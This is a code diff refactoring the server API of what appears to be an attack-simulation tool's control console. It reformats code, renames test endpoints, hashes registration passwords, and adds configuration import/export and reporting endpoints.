+import json
+
import flask_restful
from flask import make_response, request
import monkey_island.cc.environment.environment_singleton as env_singleton
+import monkey_island.cc.resources.auth.password_utils as password_utils
from common.utils.exceptions import InvalidRegistrationCredentialsError, RegistrationNotNeededError
from monkey_island.cc.environment.user_creds import UserCreds
class Registration(flask_restful.Resource):
def get(self):
- return {'needs_registration': env_singleton.env.needs_registration()}
+ return {"needs_registration": env_singleton.env.needs_registration()}
def post(self):
- credentials = UserCreds.get_from_json(request.data)
+ credentials = _get_user_credentials_from_request(request)
+
try:
env_singleton.env.try_add_user(credentials)
return make_response({"error": ""}, 200)
except (InvalidRegistrationCredentialsError, RegistrationNotNeededError) as e:
return make_response({"error": str(e)}, 400)
+
+
+def _get_user_credentials_from_request(request):
+ cred_dict = json.loads(request.data)
+
+ username = cred_dict.get("user", "")
+ password = cred_dict.get("password", "")
+ password_hash = password_utils.hash_password(password)
+
+ return UserCreds(username, password_hash)
diff --git a/monkey/monkey_island/cc/resources/auth/user_store.py b/monkey/monkey_island/cc/resources/auth/user_store.py
index a35f4b3d6..3c5217f57 100644
--- a/monkey/monkey_island/cc/resources/auth/user_store.py
+++ b/monkey/monkey_island/cc/resources/auth/user_store.py
@@ -6,10 +6,8 @@ from monkey_island.cc.resources.auth.auth_user import User
class UserStore:
users = []
username_table = {}
- user_id_table = {}
@staticmethod
def set_users(users: List[User]):
UserStore.users = users
UserStore.username_table = {u.username: u for u in UserStore.users}
- UserStore.user_id_table = {u.id: u for u in UserStore.users}
diff --git a/monkey/monkey_island/cc/resources/test/__init__.py b/monkey/monkey_island/cc/resources/blackbox/__init__.py
similarity index 100%
rename from monkey/monkey_island/cc/resources/test/__init__.py
rename to monkey/monkey_island/cc/resources/blackbox/__init__.py
diff --git a/monkey/monkey_island/cc/resources/test/clear_caches.py b/monkey/monkey_island/cc/resources/blackbox/clear_caches.py
similarity index 96%
rename from monkey/monkey_island/cc/resources/test/clear_caches.py
rename to monkey/monkey_island/cc/resources/blackbox/clear_caches.py
index 34401b318..b8ebeb056 100644
--- a/monkey/monkey_island/cc/resources/test/clear_caches.py
+++ b/monkey/monkey_island/cc/resources/blackbox/clear_caches.py
@@ -13,10 +13,12 @@ logger = logging.getLogger(__name__)
class ClearCaches(flask_restful.Resource):
"""
- Used for timing tests - we want to get actual execution time of functions in BlackBox without caching -
+ Used for timing tests - we want to get actual execution time of functions in BlackBox without
+ caching -
so we use this to clear the caches.
:note: DO NOT CALL THIS IN PRODUCTION CODE as this will slow down the user experience.
"""
+
@jwt_required
def get(self, **kw):
try:
diff --git a/monkey/monkey_island/cc/resources/test/log_test.py b/monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py
similarity index 52%
rename from monkey/monkey_island/cc/resources/test/log_test.py
rename to monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py
index a9c4f8b62..c101b567a 100644
--- a/monkey/monkey_island/cc/resources/test/log_test.py
+++ b/monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py
@@ -6,12 +6,12 @@ from monkey_island.cc.database import database, mongo
from monkey_island.cc.resources.auth.auth import jwt_required
-class LogTest(flask_restful.Resource):
+class LogBlackboxEndpoint(flask_restful.Resource):
@jwt_required
def get(self):
- find_query = json_util.loads(request.args.get('find_query'))
+ find_query = json_util.loads(request.args.get("find_query"))
log = mongo.db.log.find_one(find_query)
if not log:
- return {'results': None}
- log_file = database.gridfs.get(log['file_id'])
- return {'results': log_file.read().decode()}
+ return {"results": None}
+ log_file = database.gridfs.get(log["file_id"])
+ return {"results": log_file.read().decode()}
diff --git a/monkey/monkey_island/cc/resources/test/monkey_test.py b/monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py
similarity index 55%
rename from monkey/monkey_island/cc/resources/test/monkey_test.py
rename to monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py
index da8333479..2957fd4b9 100644
--- a/monkey/monkey_island/cc/resources/test/monkey_test.py
+++ b/monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py
@@ -6,8 +6,8 @@ from monkey_island.cc.database import mongo
from monkey_island.cc.resources.auth.auth import jwt_required
-class MonkeyTest(flask_restful.Resource):
+class MonkeyBlackboxEndpoint(flask_restful.Resource):
@jwt_required
def get(self, **kw):
- find_query = json_util.loads(request.args.get('find_query'))
- return {'results': list(mongo.db.monkey.find(find_query))}
+ find_query = json_util.loads(request.args.get("find_query"))
+ return {"results": list(mongo.db.monkey.find(find_query))}
diff --git a/monkey/monkey_island/cc/resources/test/telemetry_test.py b/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py
similarity index 54%
rename from monkey/monkey_island/cc/resources/test/telemetry_test.py
rename to monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py
index 29108070e..5573e5152 100644
--- a/monkey/monkey_island/cc/resources/test/telemetry_test.py
+++ b/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py
@@ -6,8 +6,8 @@ from monkey_island.cc.database import mongo
from monkey_island.cc.resources.auth.auth import jwt_required
-class TelemetryTest(flask_restful.Resource):
+class TelemetryBlackboxEndpoint(flask_restful.Resource):
@jwt_required
def get(self, **kw):
- find_query = json_util.loads(request.args.get('find_query'))
- return {'results': list(mongo.db.telemetry.find(find_query))}
+ find_query = json_util.loads(request.args.get("find_query"))
+ return {"results": list(mongo.db.telemetry.find(find_query))}
diff --git a/monkey/monkey_island/cc/resources/test/utils/telem_store.py b/monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py
similarity index 56%
rename from monkey/monkey_island/cc/resources/test/utils/telem_store.py
rename to monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py
index 707140c9e..2130cef5a 100644
--- a/monkey/monkey_island/cc/resources/test/utils/telem_store.py
+++ b/monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py
@@ -6,23 +6,21 @@ from os import mkdir, path
from flask import request
-from monkey_island.cc.models.test_telem import TestTelem
+from monkey_island.cc.models.exported_telem import ExportedTelem
from monkey_island.cc.services.config import ConfigService
TELEM_SAMPLE_DIR = "./telem_sample"
MAX_SAME_CATEGORY_TELEMS = 10000
-
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
class TestTelemStore:
-
TELEMS_EXPORTED = False
@staticmethod
- def store_test_telem(f):
+ def store_exported_telem(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if ConfigService.is_test_telem_export_enabled():
@@ -30,14 +28,22 @@ class TestTelemStore:
method = request.method
content = request.data.decode()
endpoint = request.path
- name = str(request.url_rule).replace('/', '_').replace('<', '_').replace('>', '_').replace(':', '_')
- TestTelem(name=name, method=method, endpoint=endpoint, content=content, time=time).save()
+ name = (
+ str(request.url_rule)
+ .replace("/", "_")
+ .replace("<", "_")
+ .replace(">", "_")
+ .replace(":", "_")
+ )
+ ExportedTelem(
+ name=name, method=method, endpoint=endpoint, content=content, time=time
+ ).save()
return f(*args, **kwargs)
return decorated_function
@staticmethod
- def export_test_telems():
+ def export_telems():
logger.info(f"Exporting all telemetries to {TELEM_SAMPLE_DIR}")
try:
mkdir(TELEM_SAMPLE_DIR)
@@ -45,27 +51,32 @@ class TestTelemStore:
logger.info("Deleting all previous telemetries.")
shutil.rmtree(TELEM_SAMPLE_DIR)
mkdir(TELEM_SAMPLE_DIR)
- for test_telem in TestTelem.objects():
- with open(TestTelemStore.get_unique_file_path_for_test_telem(TELEM_SAMPLE_DIR, test_telem), 'w') as file:
+ for test_telem in ExportedTelem.objects():
+ with open(
+ TestTelemStore.get_unique_file_path_for_export_telem(TELEM_SAMPLE_DIR, test_telem),
+ "w",
+ ) as file:
file.write(test_telem.to_json(indent=2))
TestTelemStore.TELEMS_EXPORTED = True
logger.info("Telemetries exported!")
@staticmethod
- def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem):
- telem_filename = TestTelemStore._get_filename_by_test_telem(test_telem)
+ def get_unique_file_path_for_export_telem(target_dir: str, test_telem: ExportedTelem):
+ telem_filename = TestTelemStore._get_filename_by_export_telem(test_telem)
for i in range(MAX_SAME_CATEGORY_TELEMS):
potential_filepath = path.join(target_dir, (telem_filename + str(i)))
if path.exists(potential_filepath):
continue
return potential_filepath
- raise Exception(f"Too many telemetries of the same category. Max amount {MAX_SAME_CATEGORY_TELEMS}")
+ raise Exception(
+ f"Too many telemetries of the same category. Max amount {MAX_SAME_CATEGORY_TELEMS}"
+ )
@staticmethod
- def _get_filename_by_test_telem(test_telem: TestTelem):
+ def _get_filename_by_export_telem(test_telem: ExportedTelem):
endpoint_part = test_telem.name
- return endpoint_part + '_' + test_telem.method
+ return endpoint_part + "_" + test_telem.method
-if __name__ == '__main__':
- TestTelemStore.export_test_telems()
+if __name__ == "__main__":
+ TestTelemStore.export_telems()
diff --git a/monkey/monkey_island/cc/resources/bootloader.py b/monkey/monkey_island/cc/resources/bootloader.py
index e722035ae..b228b9eea 100644
--- a/monkey/monkey_island/cc/resources/bootloader.py
+++ b/monkey/monkey_island/cc/resources/bootloader.py
@@ -11,9 +11,9 @@ class Bootloader(flask_restful.Resource):
# Used by monkey. can't secure.
def post(self, os):
- if os == 'linux':
+ if os == "linux":
data = Bootloader._get_request_contents_linux(request.data)
- elif os == 'windows':
+ elif os == "windows":
data = Bootloader._get_request_contents_windows(request.data)
else:
return make_response({"status": "OS_NOT_FOUND"}, 404)
@@ -27,10 +27,13 @@ class Bootloader(flask_restful.Resource):
@staticmethod
def _get_request_contents_linux(request_data: bytes) -> Dict[str, str]:
- parsed_data = json.loads(request_data.decode().replace("\"\n", "")
- .replace("\n", "")
- .replace("NAME=\"", "")
- .replace("\":\",", "\":\"\","))
+ parsed_data = json.loads(
+ request_data.decode()
+ .replace('"\n', "")
+ .replace("\n", "")
+ .replace('NAME="', "")
+ .replace('":",', '":"",')
+ )
return parsed_data
@staticmethod
diff --git a/monkey/monkey_island/cc/resources/bootloader_test.py b/monkey/monkey_island/cc/resources/bootloader_test.py
deleted file mode 100644
index 5db86627c..000000000
--- a/monkey/monkey_island/cc/resources/bootloader_test.py
+++ /dev/null
@@ -1,55 +0,0 @@
-from unittest import TestCase
-
-from monkey_island.cc.resources.bootloader import Bootloader
-
-
-class TestBootloader(TestCase):
-
- def test_get_request_contents_linux(self):
- data_without_tunnel = b'{"system":"linux", ' \
- b'"os_version":"NAME="Ubuntu"\n", ' \
- b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' \
- b'"hostname":"test-TEST", ' \
- b'"tunnel":false, ' \
- b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}'
- data_with_tunnel = b'{"system":"linux", ' \
- b'"os_version":"NAME="Ubuntu"\n", ' \
- b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' \
- b'"hostname":"test-TEST", ' \
- b'"tunnel":"192.168.56.1:5002", ' \
- b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}'
-
- result1 = Bootloader._get_request_contents_linux(data_without_tunnel)
- self.assertTrue(result1['system'] == "linux")
- self.assertTrue(result1['os_version'] == "Ubuntu")
- self.assertTrue(result1['glibc_version'] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23")
- self.assertTrue(result1['hostname'] == "test-TEST")
- self.assertFalse(result1['tunnel'])
- self.assertTrue(result1['ips'] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"])
-
- result2 = Bootloader._get_request_contents_linux(data_with_tunnel)
- self.assertTrue(result2['system'] == "linux")
- self.assertTrue(result2['os_version'] == "Ubuntu")
- self.assertTrue(result2['glibc_version'] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23")
- self.assertTrue(result2['hostname'] == "test-TEST")
- self.assertTrue(result2['tunnel'] == "192.168.56.1:5002")
- self.assertTrue(result2['ips'] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"])
-
- def test_get_request_contents_windows(self):
- windows_data = b'{\x00"\x00s\x00y\x00s\x00t\x00e\x00m\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o' \
- b'\x00w\x00s\x00"\x00,\x00 \x00"\x00o\x00s\x00_\x00v\x00e\x00r\x00s\x00i\x00o\x00n' \
- b'\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o\x00w\x00s\x008\x00_\x00o\x00r\x00_\x00g\x00r' \
- b'\x00e\x00a\x00t\x00e\x00r\x00"\x00,\x00 \x00"\x00h\x00o\x00s\x00t\x00n\x00a\x00m\x00e\x00"' \
- b'\x00:\x00"\x00D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00P\x00J\x00H\x00U\x003\x006\x00B\x00"' \
- b'\x00,\x00 \x00"\x00t\x00u\x00n\x00n\x00e\x00l\x00"\x00:\x00f\x00a\x00l\x00s\x00e\x00,\x00 ' \
- b'\x00"\x00i\x00p\x00s\x00"\x00:\x00 \x00[\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x005' \
- b'\x006\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x004\x009' \
- b'\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x001\x007\x00.' \
- b'\x001\x00"\x00]\x00}\x00'
-
- result = Bootloader._get_request_contents_windows(windows_data)
- self.assertTrue(result['system'] == "windows")
- self.assertTrue(result['os_version'] == "windows8_or_greater")
- self.assertTrue(result['hostname'] == "DESKTOP-PJHU36B")
- self.assertFalse(result['tunnel'])
- self.assertTrue(result['ips'] == ["192.168.56.1", "192.168.249.1", "192.168.217.1"])
diff --git a/monkey/monkey_island/cc/resources/client_run.py b/monkey/monkey_island/cc/resources/client_run.py
index 2396ba9b0..79a8c214b 100644
--- a/monkey/monkey_island/cc/resources/client_run.py
+++ b/monkey/monkey_island/cc/resources/client_run.py
@@ -5,8 +5,6 @@ from flask import jsonify, request
from monkey_island.cc.services.node import NodeService
-__author__ = 'itay.mizeretz'
-
logger = logging.getLogger(__name__)
diff --git a/monkey/monkey_island/cc/resources/configuration_export.py b/monkey/monkey_island/cc/resources/configuration_export.py
new file mode 100644
index 000000000..4a7aeec24
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/configuration_export.py
@@ -0,0 +1,25 @@
+import json
+
+import flask_restful
+from flask import request
+
+from monkey_island.cc.resources.auth.auth import jwt_required
+from monkey_island.cc.services.config import ConfigService
+from monkey_island.cc.services.utils.encryption import encrypt_string
+
+
+class ConfigurationExport(flask_restful.Resource):
+ @jwt_required
+ def post(self):
+ data = json.loads(request.data)
+ should_encrypt = data["should_encrypt"]
+
+ plaintext_config = ConfigService.get_config()
+
+ config_export = plaintext_config
+ if should_encrypt:
+ password = data["password"]
+ plaintext_config = json.dumps(plaintext_config)
+ config_export = encrypt_string(plaintext_config, password)
+
+ return {"config_export": config_export, "encrypted": should_encrypt}
diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py
new file mode 100644
index 000000000..efa1d79a7
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/configuration_import.py
@@ -0,0 +1,98 @@
+import json
+import logging
+from dataclasses import dataclass
+from json.decoder import JSONDecodeError
+
+import flask_restful
+from flask import request
+
+from common.utils.exceptions import InvalidConfigurationError
+from monkey_island.cc.resources.auth.auth import jwt_required
+from monkey_island.cc.services.config import ConfigService
+from monkey_island.cc.services.utils.encryption import (
+ InvalidCiphertextError,
+ InvalidCredentialsError,
+ decrypt_ciphertext,
+ is_encrypted,
+)
+
+logger = logging.getLogger(__name__)
+
+
+class ImportStatuses:
+ UNSAFE_OPTION_VERIFICATION_REQUIRED = "unsafe_options_verification_required"
+ INVALID_CONFIGURATION = "invalid_configuration"
+ INVALID_CREDENTIALS = "invalid_credentials"
+ IMPORTED = "imported"
+
+
+@dataclass
+class ResponseContents:
+ import_status: str = ImportStatuses.IMPORTED
+ message: str = ""
+ status_code: int = 200
+ config: str = ""
+ config_schema: str = ""
+
+ def form_response(self):
+ return self.__dict__
+
+
+class ConfigurationImport(flask_restful.Resource):
+ SUCCESS = False
+
+ @jwt_required
+ def post(self):
+ request_contents = json.loads(request.data)
+ try:
+ config = ConfigurationImport._get_plaintext_config_from_request(request_contents)
+ if request_contents["unsafeOptionsVerified"]:
+ ConfigurationImport.import_config(config)
+ return ResponseContents().form_response()
+ else:
+ return ResponseContents(
+ config=json.dumps(config),
+ config_schema=ConfigService.get_config_schema(),
+ import_status=ImportStatuses.UNSAFE_OPTION_VERIFICATION_REQUIRED,
+ ).form_response()
+ except InvalidCredentialsError:
+ return ResponseContents(
+ import_status=ImportStatuses.INVALID_CREDENTIALS,
+ message="Invalid credentials provided",
+ ).form_response()
+ except InvalidConfigurationError:
+ return ResponseContents(
+ import_status=ImportStatuses.INVALID_CONFIGURATION,
+ message="Invalid configuration supplied. "
+ "Maybe the format is outdated or the file has been corrupted.",
+ ).form_response()
+
+ @staticmethod
+ def _get_plaintext_config_from_request(request_contents: dict) -> dict:
+ try:
+ config = request_contents["config"]
+ if ConfigurationImport.is_config_encrypted(request_contents["config"]):
+ config = decrypt_ciphertext(config, request_contents["password"])
+ return json.loads(config)
+ except (JSONDecodeError, InvalidCiphertextError):
+ logger.exception(
+ "Exception encountered when trying to extract plaintext configuration."
+ )
+ raise InvalidConfigurationError
+
+ @staticmethod
+ def import_config(config_json):
+ if not ConfigService.update_config(config_json, should_encrypt=True):
+ raise InvalidConfigurationError
+
+ @staticmethod
+ def is_config_encrypted(config: str):
+ try:
+ if config.startswith("{"):
+ return False
+ elif is_encrypted(config):
+ return True
+ else:
+ raise InvalidConfigurationError
+ except Exception:
+ raise InvalidConfigurationError
diff --git a/monkey/monkey_island/cc/resources/edge.py b/monkey/monkey_island/cc/resources/edge.py
index 3d284e82c..9eb0d5943 100644
--- a/monkey/monkey_island/cc/resources/edge.py
+++ b/monkey/monkey_island/cc/resources/edge.py
@@ -3,12 +3,10 @@ from flask import request
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
-__author__ = 'Barak'
-
class Edge(flask_restful.Resource):
def get(self):
- edge_id = request.args.get('id')
+ edge_id = request.args.get("id")
displayed_edge = DisplayedEdgeService.get_displayed_edge_by_id(edge_id)
if edge_id:
return {"edge": displayed_edge}
diff --git a/monkey/monkey_island/cc/resources/environment.py b/monkey/monkey_island/cc/resources/environment.py
index 9f9a89105..feb0c138c 100644
--- a/monkey/monkey_island/cc/resources/environment.py
+++ b/monkey/monkey_island/cc/resources/environment.py
@@ -12,8 +12,11 @@ logger = logging.getLogger(__name__)
class Environment(flask_restful.Resource):
def patch(self):
env_data = json.loads(request.data)
- if env_data['server_config'] == "standard":
+ if env_data["server_config"] == "standard":
if env_singleton.env.needs_registration():
env_singleton.set_to_standard()
- logger.warning("No user registered, Island on standard mode - no credentials required to access.")
+ logger.warning(
+ "No user registered, Island on standard mode - no credentials required to "
+ "access."
+ )
return {}
diff --git a/monkey/monkey_island/cc/resources/exploitations/manual_exploitation.py b/monkey/monkey_island/cc/resources/exploitations/manual_exploitation.py
new file mode 100644
index 000000000..7c5db2f75
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/exploitations/manual_exploitation.py
@@ -0,0 +1,15 @@
+import flask_restful
+
+from monkey_island.cc.resources.auth.auth import jwt_required
+from monkey_island.cc.services.reporting.exploitations.manual_exploitation import (
+ get_manual_exploitations,
+)
+
+
+class ManualExploitation(flask_restful.Resource):
+ @jwt_required
+ def get(self):
+ manual_exploitations = [
+ exploitation.__dict__ for exploitation in get_manual_exploitations()
+ ]
+ return {"manual_exploitations": manual_exploitations}
diff --git a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py
new file mode 100644
index 000000000..5e00a51a0
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py
@@ -0,0 +1,13 @@
+import flask_restful
+
+from monkey_island.cc.resources.auth.auth import jwt_required
+from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import (
+ get_monkey_exploited,
+)
+
+
+class MonkeyExploitation(flask_restful.Resource):
+ @jwt_required
+ def get(self):
+ monkey_exploitations = [exploitation.__dict__ for exploitation in get_monkey_exploited()]
+ return {"monkey_exploitations": monkey_exploitations}
diff --git a/monkey/monkey_island/cc/resources/island_configuration.py b/monkey/monkey_island/cc/resources/island_configuration.py
index b8a556016..42730e477 100644
--- a/monkey/monkey_island/cc/resources/island_configuration.py
+++ b/monkey/monkey_island/cc/resources/island_configuration.py
@@ -10,13 +10,15 @@ from monkey_island.cc.services.config import ConfigService
class IslandConfiguration(flask_restful.Resource):
@jwt_required
def get(self):
- return jsonify(schema=ConfigService.get_config_schema(),
- configuration=ConfigService.get_config(False, True, True))
+ return jsonify(
+ schema=ConfigService.get_config_schema(),
+ configuration=ConfigService.get_config(False, True, True),
+ )
@jwt_required
def post(self):
config_json = json.loads(request.data)
- if 'reset' in config_json:
+ if "reset" in config_json:
ConfigService.reset_config()
else:
if not ConfigService.update_config(config_json, should_encrypt=True):
diff --git a/monkey/monkey_island/cc/resources/island_logs.py b/monkey/monkey_island/cc/resources/island_logs.py
index b643f2147..ae5bb1398 100644
--- a/monkey/monkey_island/cc/resources/island_logs.py
+++ b/monkey/monkey_island/cc/resources/island_logs.py
@@ -5,8 +5,6 @@ import flask_restful
from monkey_island.cc.resources.auth.auth import jwt_required
from monkey_island.cc.services.island_logs import IslandLogService
-__author__ = "Maor.Rayzin"
-
logger = logging.getLogger(__name__)
@@ -16,4 +14,4 @@ class IslandLog(flask_restful.Resource):
try:
return IslandLogService.get_log_file()
except Exception:
- logger.error('Monkey Island logs failed to download', exc_info=True)
+ logger.error("Monkey Island logs failed to download", exc_info=True)
diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py
new file mode 100644
index 000000000..6df681fd7
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/island_mode.py
@@ -0,0 +1,44 @@
+import json
+import logging
+
+import flask_restful
+from flask import make_response, request
+
+from monkey_island.cc.resources.auth.auth import jwt_required
+from monkey_island.cc.services.config_manipulator import update_config_on_mode_set
+from monkey_island.cc.services.mode.island_mode_service import ModeNotSetError, get_mode, set_mode
+from monkey_island.cc.services.mode.mode_enum import IslandModeEnum
+
+LOG = logging.getLogger(__name__)
+
+
+class IslandMode(flask_restful.Resource):
+ @jwt_required
+ def post(self):
+ try:
+ body = json.loads(request.data)
+ mode_str = body.get("mode")
+
+ mode = IslandModeEnum(mode_str)
+ set_mode(mode)
+
+ if not update_config_on_mode_set(mode):
+ LOG.error(
+ "Could not apply configuration changes per mode. "
+ "Using default advanced configuration."
+ )
+
+ return make_response({}, 200)
+ except (AttributeError, json.decoder.JSONDecodeError):
+ return make_response({}, 400)
+ except ValueError:
+ return make_response({}, 422)
+
+ @jwt_required
+ def get(self):
+ try:
+ island_mode = get_mode()
+ return make_response({"mode": island_mode}, 200)
+
+ except ModeNotSetError:
+ return make_response({"mode": None}, 200)
diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py
index 1a388db0a..49517dbdb 100644
--- a/monkey/monkey_island/cc/resources/local_run.py
+++ b/monkey/monkey_island/cc/resources/local_run.py
@@ -1,58 +1,12 @@
import json
-import logging
-import os
-import sys
-from shutil import copyfile
import flask_restful
from flask import jsonify, make_response, request
-import monkey_island.cc.environment.environment_singleton as env_singleton
-from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.models import Monkey
-from monkey_island.cc.services.utils.network_utils import local_ip_addresses
from monkey_island.cc.resources.auth.auth import jwt_required
-from monkey_island.cc.resources.monkey_download import get_monkey_executable
from monkey_island.cc.services.node import NodeService
-
-__author__ = 'Barak'
-
-
-logger = logging.getLogger(__name__)
-
-
-def run_local_monkey():
- import platform
- import stat
- import subprocess
-
- # get the monkey executable suitable to run on the server
- result = get_monkey_executable(platform.system().lower(), platform.machine().lower())
- if not result:
- return False, "OS Type not found"
-
- monkey_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'binaries', result['filename'])
- target_path = os.path.join(MONKEY_ISLAND_ABS_PATH, result['filename'])
-
- # copy the executable to temp path (don't run the monkey from its current location as it may delete itself)
- try:
- copyfile(monkey_path, target_path)
- os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG)
- except Exception as exc:
- logger.error('Copy file failed', exc_info=True)
- return False, "Copy file failed: %s" % exc
-
- # run the monkey
- try:
- args = ['"%s" m0nk3y -s %s:%s' % (target_path, local_ip_addresses()[0], env_singleton.env.get_island_port())]
- if sys.platform == "win32":
- args = "".join(args)
- subprocess.Popen(args, shell=True).pid
- except Exception as exc:
- logger.error('popen failed', exc_info=True)
- return False, "popen failed: %s" % exc
-
- return True, ""
+from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService
class LocalRun(flask_restful.Resource):
@@ -70,9 +24,9 @@ class LocalRun(flask_restful.Resource):
@jwt_required
def post(self):
body = json.loads(request.data)
- if body.get('action') == 'run':
- local_run = run_local_monkey()
+ if body.get("action") == "run":
+ local_run = LocalMonkeyRunService.run_local_monkey()
return jsonify(is_running=local_run[0], error_text=local_run[1])
# default action
- return make_response({'error': 'Invalid action'}, 500)
+ return make_response({"error": "Invalid action"}, 500)
diff --git a/monkey/monkey_island/cc/resources/log.py b/monkey/monkey_island/cc/resources/log.py
index 0d437d174..63e4d44f1 100644
--- a/monkey/monkey_island/cc/resources/log.py
+++ b/monkey/monkey_island/cc/resources/log.py
@@ -6,31 +6,29 @@ from flask import request
from monkey_island.cc.database import mongo
from monkey_island.cc.resources.auth.auth import jwt_required
-from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore
+from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore
from monkey_island.cc.services.log import LogService
from monkey_island.cc.services.node import NodeService
-__author__ = "itay.mizeretz"
-
class Log(flask_restful.Resource):
@jwt_required
def get(self):
- monkey_id = request.args.get('id')
- exists_monkey_id = request.args.get('exists')
+ monkey_id = request.args.get("id")
+ exists_monkey_id = request.args.get("exists")
if monkey_id:
return LogService.get_log_by_monkey_id(ObjectId(monkey_id))
else:
return LogService.log_exists(ObjectId(exists_monkey_id))
# Used by monkey. can't secure.
- @TestTelemStore.store_test_telem
+ @TestTelemStore.store_exported_telem
def post(self):
telemetry_json = json.loads(request.data)
- monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])['_id']
+ monkey_id = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"])["_id"]
# This shouldn't contain any unicode characters. this'll take 2 time less space.
- log_data = str(telemetry_json['log'])
+ log_data = str(telemetry_json["log"])
log_id = LogService.add_log(monkey_id, log_data)
return mongo.db.log.find_one_or_404({"_id": log_id})
diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py
index 0e6fe0370..f607b81e1 100644
--- a/monkey/monkey_island/cc/resources/monkey.py
+++ b/monkey/monkey_island/cc/resources/monkey.py
@@ -5,17 +5,14 @@ import dateutil.parser
import flask_restful
from flask import request
-from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
from monkey_island.cc.database import mongo
from monkey_island.cc.models.monkey_ttl import create_monkey_ttl_document
-from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore
+from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore
+from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.edge.edge import EdgeService
from monkey_island.cc.services.node import NodeService
-__author__ = 'Barak'
-
-
# TODO: separate logic from interface
@@ -25,52 +22,52 @@ class Monkey(flask_restful.Resource):
def get(self, guid=None, **kw):
NodeService.update_dead_monkeys() # refresh monkeys status
if not guid:
- guid = request.args.get('guid')
+ guid = request.args.get("guid")
if guid:
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
- monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config'])
+ monkey_json["config"] = ConfigService.decrypt_flat_config(monkey_json["config"])
return monkey_json
return {}
# Used by monkey. can't secure.
- @TestTelemStore.store_test_telem
+ @TestTelemStore.store_exported_telem
def patch(self, guid):
monkey_json = json.loads(request.data)
- update = {"$set": {'modifytime': datetime.now()}}
+ update = {"$set": {"modifytime": datetime.now()}}
monkey = NodeService.get_monkey_by_guid(guid)
- if 'keepalive' in monkey_json:
- update['$set']['keepalive'] = dateutil.parser.parse(monkey_json['keepalive'])
+ if "keepalive" in monkey_json:
+ update["$set"]["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"])
else:
- update['$set']['keepalive'] = datetime.now()
- if 'config' in monkey_json:
- update['$set']['config'] = monkey_json['config']
- if 'config_error' in monkey_json:
- update['$set']['config_error'] = monkey_json['config_error']
+ update["$set"]["keepalive"] = datetime.now()
+ if "config" in monkey_json:
+ update["$set"]["config"] = monkey_json["config"]
+ if "config_error" in monkey_json:
+ update["$set"]["config_error"] = monkey_json["config_error"]
- if 'tunnel' in monkey_json:
- tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
+ if "tunnel" in monkey_json:
+ tunnel_host_ip = monkey_json["tunnel"].split(":")[-2].replace("//", "")
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip)
ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS)
- update['$set']['ttl_ref'] = ttl.id
